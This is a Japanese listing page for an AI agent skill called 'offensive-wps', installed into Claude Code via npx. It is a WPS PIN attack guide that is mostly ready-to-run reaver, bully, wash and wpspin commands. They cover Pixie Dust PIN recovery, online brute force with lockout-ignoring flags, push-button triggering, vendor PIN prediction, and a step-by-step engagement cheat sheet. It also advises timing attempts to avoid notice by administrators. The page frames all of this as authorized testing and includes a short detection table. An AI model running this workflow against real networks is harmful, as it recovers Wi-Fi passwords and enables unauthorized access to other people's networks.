offensive-wps について
offensive-wpsは、WPS PIN攻撃の認可済みセキュリティテスト向けガイドです。検出、オフラインのPixie Dust、オンラインPINテスト、ロックアウト対応を扱います。
主な機能
- 01WPS対応アクセスポイントのスキャン
- 02オフラインPixie Dust攻撃のテスト
- 03オンラインPIN総当たりの評価
- 04ロックアウト状態と対応の確認
- 05ベンダー既定PINパターンの試行
活用シーン
- 01アクセスポイントのWPS露出状況の確認
- 02チップセットのPixie Dust脆弱性の評価
- 03WPSロックアウトポリシーの有効性確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wpsインストール後、Claude Code で/offensive-wpsを入力して読み込まれたか確認します。
詳細
WPS PIN 攻撃
WPS は、M3/M4 メッセージ交換を介して 8 桁の PIN をネットワーク PSK に変換します。PIN は 4 桁と 3 桁の半分に分割され(8 桁目はチェックサム)、有効な組み合わせはわずか 11,000 通りです。脆弱なチップセットでは、オフラインの Pixie Dust 攻撃により、オンラインで一度も試行せずに数秒で PIN を復元できます。
クイックワークフロー
- WPS 対応 AP を検出します(ビーコン内の WPS IE を確認します)。
- まず Pixie Dust を試します。オフラインで検出されず、成功すれば瞬時に完了します。
- チップセットが脆弱でない場合は、オンライン総当たりが実行可能か(ロックアウトポリシー)を確認します。
- オンライン総当たりは最後の手段です。時間がかかり、検出されます。
検出
# wash — dedicated WPS scanner
sudo wash -i wlan0mon
# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps
出力には、WPS バージョン(1.0 / 2.0)、ロック状態、設定済み/未設定、ベンダーが含まれます。
WPS 2.0 ではロックアウトの適用が導入されましたが、多くのコンシューマー向け AP では、いまだに「3 回失敗すると 60 秒間ロックする」という実装です。待てば簡単に回避できます。
Pixie Dust(オフライン)
Pixie Dust 攻撃は、WPS を実装したチップセットの弱いノンス生成を悪用します。この攻撃では、WPS ハンドシェイク全体(M1-M4)を 1 回キャプチャし、その後オフラインで PIN を計算します。
# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
| チップセット | 脆弱性 |
|---|---|
| Ralink(RT チップセット) | あり — 古い D-Link、TP-Link、Edimax の多く |
| Realtek(RTL8xxx) | あり — TRENDnet、Belkin の多く |
| Broadcom(古いファームウェア) | 脆弱な場合が多い — 特定のモデルとファームウェアリビジョン |
| MediaTek(特定のリビジョン) | まちまち |
| Atheros | ほとんど修正済み |
成功した場合:
[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi
M7 メッセージを介して PIN から PSK を直接取得できるため、PSK のクラッキングは不要です。
オンライン PIN 総当たり
Pixie Dust が失敗した場合、オンライン総当たりが代替手段になります。PIN を順に変えながら、EAPOL-Start → M1 → M2 → M3 の試行を送信します。
# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts
ロックアウトへの対処
最近の AP のほとんどは、数回 PIN に失敗すると WPS をロックします。ロックアウトを検出するには、次を確認します。
- AP が EAPOL-Start に応答しなくなる
- ビーコン内の WPS
LockedフラグがYesに切り替わる
対処方法:
- 解除されるまで待つ:多くの AP は 60~600 秒後に自動でロックを解除します。
-rを適切に設定してください。 - AP を再起動する:物理的に状態をリセットします。この妨害について許可を得ている場合に限り有効です。
- 時間帯を分散して試行する:管理者の注意を引く原因となる、正規の WPS 利用との偶然の重複を避けるため、通信量の少ない時間帯を選びます。
所要時間の見積もり
- 11,000 回の試行 ×(遅延 + タイムアウト)≈ 最短で 4 時間、現実的には 12~24 時間
- ロックアウトによる倍率:ポリシーに応じて 5~20 倍
- **脆弱な場合、Pixie Dust なら数分で完了します。**必ず最初に試してください。
プッシュボタン(PBC)方式
WPS PBC は、ユーザーが AP のボタンを押すと 120 秒間有効になります。この間に WPS を要求したクライアントは、PIN なしでペアリングされます。
攻撃の実行可能性:
- 実際には、ボタンを押すための物理的なアクセスが必要です(つまり、すでに目的を達成しています)。または、ソーシャルエンジニアリング(「IT 担当者が 14:00 にボタンを押します」)が必要です。
- 一部のバグのある AP では PBC の有効期間が無期限です。PBC アソシエーションを送信してテストしてください。
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P
PIN のデフォルトパターン
一部のベンダーは、MAC アドレスとシリアル番号から WPS PIN を生成します。アルゴリズムが分かっている場合:
# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute
特定の Belkin、ZyXEL、Linksys モデルでは高い確率で成功します。
検出に関する考慮事項
| シグナル | 防御側から見た状況 |
|---|---|
| Reaver/bully のトラフィックパターン | WIPS ルール:WPS 交換の試行が急増 |
| PIN 失敗の急増 | WPS Locked フラグの切り替わり |
| ベンダー PSK のオフライン流出 | 検出不能 — Pixie Dust はオフラインで実行される |
| コンシューマー向け管理インターフェース | AP に監査機能があれば「WPS 試行」が記録される可能性があります(まれ) |
脆弱なチップセットに対する Pixie Dust は、ネットワーク上では実質的に検出できません。正規のクライアントと区別できない WPS 交換が 1 回発生するだけです。
エンゲージメント用チートシート
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
# 2. Find WPS APs
sudo wash -i wlan0mon
# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv
# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10
# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv
# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)
主な参考資料
- pixiewps: github.com/wiire-a/pixiewps
- reaver: github.com/t6x/reaver-wps-fork-t6x
- bully: github.com/aanarchyy/bully
- WPS 2.0 仕様(Wi-Fi Alliance)
- 「Pixie Dust Attack」(Bongard、2014年)— 最初の脆弱性公開
- 出典: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md